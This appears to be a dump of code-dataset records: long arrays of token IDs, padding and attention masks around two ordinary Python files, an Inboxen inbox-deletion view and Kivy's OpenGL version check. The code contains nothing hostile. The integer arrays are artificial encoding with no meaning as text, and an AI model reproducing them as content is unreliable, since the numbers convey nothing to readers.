282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 376, 1109, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 1109, 9, 421, 199, 318, 23566, 3565, 63, 4871, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 4871, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 282, 5046, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 327, 11828, 282, 3537, 805, 367, 283, 2245, 7, 880, 1553, 4173, 29, 549, 5419, 14, 523, 347, 620, 18, 2245, 8, 86, 304, 272, 372, 373, 14, 2325, 342, 315, 661, 2052, 297, 283, 84, 297, 283, 17, 358, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 4517, 7, 435, 3305, 63, 354, 12, 2892, 9237, 31468, 2892, 950, 29, 549, 12, 2892, 1720, 29, 12485, 12, 2892, 849, 29, 885, 63, 585, 12, 2892, 730, 29, 495, 18, 2245, 9, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 4517, 889, 7, 435, 3305, 63, 354, 12, 2892, 1595, 534, 1617, 63, 3910, 297, 2892, 2053, 29, 4173, 63, 354, 9, 421, 199, 3, 710, 5007, 6233, 3555, 7890, 314, 2569, 5162, 12, 880, 781, 1336, 199, 3, 314, 3261, 367, 17754, 14, 199, 14603, 63, 2245, 275, 23566, 3565, 63, 4871, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 421, 199, 318, 23566, 3565, 63, 1609, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 1609, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 282, 2069, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 485, 4640 ]
[ 1898, 6900, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 624, 7921, 402, 314, 3285, 3217, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7534, 199, 199, 63, 2966, 63, 2087, 275, 7534, 14, 10730, 342, 199, 199, 533, 485, 5318, 6550, 8, 785, 304, 819, 347, 636, 826, 721, 277, 304, 272, 408, 7025, 3970, 436, 19474, 367, 3285, 436, 3932, 1338, 1041, 272, 291, 855, 807, 363, 13742, 2469, 418, 275, 1052, 272, 291, 855, 807, 363, 13742, 6751, 418, 275, 756, 819, 347, 485, 1122, 63, 2469, 8, 277, 304, 272, 754, 12, 485, 275, 485, 2966, 63, 2087, 14, 1122, 63, 3159, 63, 589, 342, 272, 367, 3305, 63, 354, 12, 1139, 315, 6802, 8, 1099, 680, 1744, 837, 489, 291, 855, 807, 363, 13742, 2469, 3488, 4173, 63, 354, 61, 275, 1139, 272, 291, 855, 807, 363, 13742, 6751, 418, 275, 715, 819, 347, 636, 5675, 721, 277, 12, 536, 304, 272, 408, 28112, 314, 283, 585, 7, 2225, 402, 314, 3305, 1553, 354, 1041, 272, 340, 440, 291, 855, 807, 363, 13742, 6751, 2565, 489, 291, 423, 1122, 63, 2469, 342, 272, 340, 536, 440, 315, 291, 855, 807, 363, 13742, 2469, 2565, 489, 746, 4281, 8, 354, 9, 272, 372, 291, 855, 807, 363, 13742, 2469, 3488, 354, 61, 819, 347, 636, 10202, 721, 277, 12, 536, 12, 574, 304, 272, 408, 9899, 314, 283, 585, 7, 2225, 402, 314, 3305, 1553, 354, 1041, 272, 340, 440, 291, 855, 807, 363, 13742, 6751, 2565, 489, 291, 423, 1122, 63, 2469, 342, 272, 291, 855, 807, 363, 13742, 2469, 3488, 354, 61, 275, 574, 421, 199, 318, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 3305, 466, 304, 523, 408, 31136, 283, 4173, 63, 354, 7, 543, 283, 885, 63, 585, 7, 436, 283, 12485, 23690, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 6739, 2, 435, 3305, 63, 354, 12, 2892, 849, 29, 885, 63, 585, 12, 2892, 1720, 29, 12485, 12, 2892, 730, 29, 4173, 466, 9, 421, 199, 3, 21552, 314, 2288, 909, 626, 883, 506, 1202, 370, 2879, 3285, 14, 199, 4831, 275, 485, 5318, 6550, 342, 421, 199, 318, 23566, 3565, 63, 875, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 875, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 282, 1059, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 620, 9, 421, 199, 318, 23566, 3565, 63, 4115, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 442, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 376, 1109, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 1109, 9, 421, 199, 318, 23566, 3565, 63, 4871, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 4871, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 282, 5046, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 327, 11828, 282, 3537, 805, 367, 283, 2245, 7, 880, 1553, 4173, 29, 549, 5419, 14, 523, 347, 620, 18, 2245, 8, 86, 304, 272, 372, 373, 14, 2325, 342, 315, 661, 2052, 297, 283, 84, 297, 283, 17, 358, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 4517, 7, 435, 3305, 63, 354, 12, 2892, 9237, 31468, 2892, 950, 29, 549, 12, 2892, 1720, 29, 12485, 12, 2892, 849, 29, 885, 63, 585, 12, 2892, 730, 29, 495, 18, 2245, 9, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 4517, 889, 7, 435, 3305, 63, 354, 12, 2892, 1595, 534, 1617, 63, 3910, 297, 2892, 2053, 29, 4173, 63, 354, 9, 421, 199, 3, 710, 5007, 6233, 3555, 7890, 314, 2569, 5162, 12, 880, 781, 1336, 199, 3, 314, 3261, 367, 17754, 14, 199, 14603, 63, 2245, 275, 23566, 3565, 63, 4871, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 421, 199, 318, 23566, 3565, 63, 1609, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 1609, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849,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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Inboxen/website
views/inbox/delete.py
1
2017
## # Copyright (C) 2013 Jessica Tallon & Matt Molyneaux # # This file is part of Inboxen. # # Inboxen is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Inboxen is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with Inboxen. If not, see <http://www.gnu.org/licenses/>. ## from django.views import generic from django.utils.translation import ugettext as _ from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse_lazy from django.contrib import messages from inboxen import models from queue.delete.tasks import delete_inbox from website import forms from website.views import base __all__ = ["InboxDeletionView"] class InboxDeletionView(base.CommonContextMixin, base.LoginRequiredMixin, generic.DeleteView): model = models.Inbox success_url = reverse_lazy('user-home') headline = _("Delete Inbox") template_name = "inbox/delete.html" def get_object(self, *args, **kwargs): return self.request.user.inbox_set.get( inbox=self.kwargs["inbox"], domain__domain=self.kwargs["domain"] ) def delete(self, request, *args, **kawrgs): self.object = self.get_object() success_url = self.get_success_url() self.object.flags.deleted = True self.object.save() delete_inbox.delay(self.object.id, request.user.id) messages.success(request, _("{0}@{1} has been deleted.".format(self.object.inbox, self.object.domain.domain))) return HttpResponseRedirect(success_url)
agpl-3.0
[ 309, 199, 3, 259, 1898, 334, 35, 9, 6171, 1603, 28601, 696, 377, 452, 265, 1253, 31653, 603, 16242, 685, 10962, 199, 3, 259, 199, 3, 259, 961, 570, 365, 1777, 402, 1010, 1977, 287, 14, 199, 3, 199, 3, 259, 1010, 1977, 287, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 1010, 1977, 287, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 1010, 1977, 287, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 309, 199, 199, 504, 1639, 14, 4196, 492, 7809, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1014, 492, 14935, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 63, 6395, 199, 504, 1639, 14, 2828, 492, 3788, 199, 199, 504, 315, 1977, 287, 492, 1709, 199, 504, 4126, 14, 1807, 14, 5054, 492, 3145, 63, 27515, 199, 504, 10691, 492, 4513, 199, 504, 10691, 14, 4196, 492, 1300, 199, 199, 363, 452, 363, 275, 2097, 607, 1977, 3896, 296, 2768, 937, 199, 199, 533, 1010, 1977, 3896, 296, 2768, 8, 1095, 14, 7844, 2998, 4256, 12, 1300, 14, 8880, 8030, 4256, 12, 7809, 14, 5392, 2768, 304, 272, 1402, 275, 1709, 14, 607, 1977, 272, 3182, 63, 633, 275, 3837, 63, 6395, 360, 751, 13, 4219, 358, 272, 21250, 275, 3824, 5392, 1010, 1977, 531, 272, 1978, 63, 354, 275, 298, 27515, 15, 1807, 14, 1360, 2, 339, 347, 664, 63, 785, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 1069, 14, 751, 14, 27515, 63, 409, 14, 362, 8, 288, 315, 1977, 29, 277, 14, 958, 905, 27515, 2255, 288, 2881, 363, 2261, 29, 277, 14, 958, 905, 2261, 937, 288, 776, 339, 347, 3145, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 7351, 17097, 458, 304, 267, 291, 14, 785, 275, 291, 14, 362, 63, 785, 342, 267, 3182, 63, 633, 275, 291, 14, 362, 63, 3742, 63, 633, 342, 398, 291, 14, 785, 14, 2469, 14, 6062, 275, 715, 267, 291, 14, 785, 14, 2117, 342, 398, 3145, 63, 27515, 14, 5814, 8, 277, 14, 785, 14, 344, 12, 1056, 14, 751, 14, 344, 9, 267, 3788, 14, 3742, 8, 1069, 12, 3824, 91, 16, 93, 32, 91, 17, 93, 965, 2757, 5463, 15848, 908, 8, 277, 14, 785, 14, 27515, 12, 291, 14, 785, 14, 2261, 14, 2261, 1724, 267, 372, 14935, 8, 3742, 63, 633, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 259, 1898, 334, 35, 9, 6171, 1603, 28601, 696, 377, 452, 265, 1253, 31653, 603, 16242, 685, 10962, 199, 3, 259, 199, 3, 259, 961, 570, 365, 1777, 402, 1010, 1977, 287, 14, 199, 3, 199, 3, 259, 1010, 1977, 287, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 1010, 1977, 287, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 1010, 1977, 287, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 309, 199, 199, 504, 1639, 14, 4196, 492, 7809, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1014, 492, 14935, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 63, 6395, 199, 504, 1639, 14, 2828, 492, 3788, 199, 199, 504, 315, 1977, 287, 492, 1709, 199, 504, 4126, 14, 1807, 14, 5054, 492, 3145, 63, 27515, 199, 504, 10691, 492, 4513, 199, 504, 10691, 14, 4196, 492, 1300, 199, 199, 363, 452, 363, 275, 2097, 607, 1977, 3896, 296, 2768, 937, 199, 199, 533, 1010, 1977, 3896, 296, 2768, 8, 1095, 14, 7844, 2998, 4256, 12, 1300, 14, 8880, 8030, 4256, 12, 7809, 14, 5392, 2768, 304, 272, 1402, 275, 1709, 14, 607, 1977, 272, 3182, 63, 633, 275, 3837, 63, 6395, 360, 751, 13, 4219, 358, 272, 21250, 275, 3824, 5392, 1010, 1977, 531, 272, 1978, 63, 354, 275, 298, 27515, 15, 1807, 14, 1360, 2, 339, 347, 664, 63, 785, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 1069, 14, 751, 14, 27515, 63, 409, 14, 362, 8, 288, 315, 1977, 29, 277, 14, 958, 905, 27515, 2255, 288, 2881, 363, 2261, 29, 277, 14, 958, 905, 2261, 937, 288, 776, 339, 347, 3145, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 7351, 17097, 458, 304, 267, 291, 14, 785, 275, 291, 14, 362, 63, 785, 342, 267, 3182, 63, 633, 275, 291, 14, 362, 63, 3742, 63, 633, 342, 398, 291, 14, 785, 14, 2469, 14, 6062, 275, 715, 267, 291, 14, 785, 14, 2117, 342, 398, 3145, 63, 27515, 14, 5814, 8, 277, 14, 785, 14, 344, 12, 1056, 14, 751, 14, 344, 9, 267, 3788, 14, 3742, 8, 1069, 12, 3824, 91, 16, 93, 32, 91, 17, 93, 965, 2757, 5463, 15848, 908, 8, 277, 14, 785, 14, 27515, 12, 291, 14, 785, 14, 2261, 14, 2261, 1724, 267, 372, 14935, 8, 3742, 63, 633, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
xpndlabs/kivy
kivy/core/gl/__init__.py
44
2824
# pylint: disable=W0611 ''' OpenGL ====== Select and use the best OpenGL library available. Depending on your system, the core provider can select an OpenGL ES or a 'classic' desktop OpenGL library. ''' from os import environ from sys import platform as sysplatform, exit MIN_REQUIRED_GL_VERSION = (2, 0) def msgbox(message): if sysplatform == 'win32': import ctypes ctypes.windll.user32.MessageBoxW( None, message, u"Kivy Fatal Error", 0) exit(1) if 'KIVY_DOC' not in environ: from kivy.logger import Logger from kivy.graphics import gl_init_resources from kivy.graphics.opengl_utils import gl_get_version from kivy.graphics.opengl import GL_VERSION, GL_VENDOR, GL_RENDERER, \ GL_MAX_TEXTURE_IMAGE_UNITS, GL_MAX_TEXTURE_SIZE, \ GL_SHADING_LANGUAGE_VERSION,\ glGetString, glGetIntegerv, gl_init_symbols from kivy.utils import platform def init_gl(): gl_init_symbols() print_gl_version() gl_init_resources() def print_gl_version(): version = glGetString(GL_VERSION) vendor = glGetString(GL_VENDOR) renderer = glGetString(GL_RENDERER) Logger.info('GL: OpenGL version <{0}>'.format(version)) Logger.info('GL: OpenGL vendor <{0}>'.format(vendor)) Logger.info('GL: OpenGL renderer <{0}>'.format(renderer)) # Let the user know if his graphics hardware/drivers are too old major, minor = gl_get_version() Logger.info('GL: OpenGL parsed version: %d, %d' % (major, minor)) if (major, minor) < MIN_REQUIRED_GL_VERSION: msg = ( 'GL: Minimum required OpenGL version (2.0) NOT found!\n\n' 'OpenGL version detected: {0}.{1}\n\n' 'Version: {2}\nVendor: {3}\nRenderer: {4}\n\n' 'Try upgrading your graphics drivers and/or your ' 'graphics hardware in case of problems.\n\n' 'The application will leave now.').format( major, minor, version, vendor, renderer) Logger.critical(msg) msgbox(msg) if platform != 'android': # XXX in the android emulator (latest version at 22 march 2013), # this call was segfaulting the gl stack. Logger.info('GL: Shading version <{0}>'.format( glGetString(GL_SHADING_LANGUAGE_VERSION))) Logger.info('GL: Texture max size <{0}>'.format( glGetIntegerv(GL_MAX_TEXTURE_SIZE)[0])) Logger.info('GL: Texture max units <{0}>'.format( glGetIntegerv(GL_MAX_TEXTURE_IMAGE_UNITS)[0])) # To be able to use our GL provider, we must have a window # Automaticly import window auto to ensure the default window creation import kivy.core.window # 